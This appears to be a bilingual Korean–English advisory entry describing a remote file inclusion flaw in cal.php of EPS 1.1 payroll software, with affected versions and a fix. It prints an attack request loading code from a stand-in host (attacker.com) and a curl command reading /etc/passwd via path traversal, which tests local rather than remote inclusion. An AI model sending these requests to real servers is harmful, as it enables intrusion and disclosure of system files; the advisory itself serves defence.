🇰🇷 한글 설명
EPS 1.1 이하의 cal.php 파일에서 absolutepath 매개변수를 통해 원격 파일을 포함시킬 수 있는 PHP RFI 취약점입니다. 이를 통해 공격자가 악의적인 원격 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
EPS 급여 관리 프로그램이 사용자가 제공한 파일 경로를 검증하지 않고 그대로 사용합니다. 공격자는 악성 PHP 파일 URL을 입력하여 서버에서 임의의 코드를 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in Enterprise Timesheet and Payroll Systems (EPS) 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter in cal.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
📍 영향받는 시스템
Enterprise Timesheet and Payroll Systems (EPS) 1.1 및 그 이전 버전
⚔️ 공격 벡터
cal.php?absolutepath=http://attacker.com/malicious.php 형태로 원격 PHP 파일을 포함하는 URL 요청
🛡️ 대응 방법
EPS를 최신 버전으로 업그레이드하거나 cal.php에서 absolutepath 매개변수에 대한 입력 검증 및 화이트리스트 적용
🔧 검증 코드
passwd 파일 내용이 나타나면 RFI 취약점이 존재하는 것입니다. 404 또는 오류가 나타나면 패치되었거나 시스템이 없는 경우입니다.
curl -s 'http://target/cal.php?absolutepath=../../../etc/passwd' 2>&1 | head -5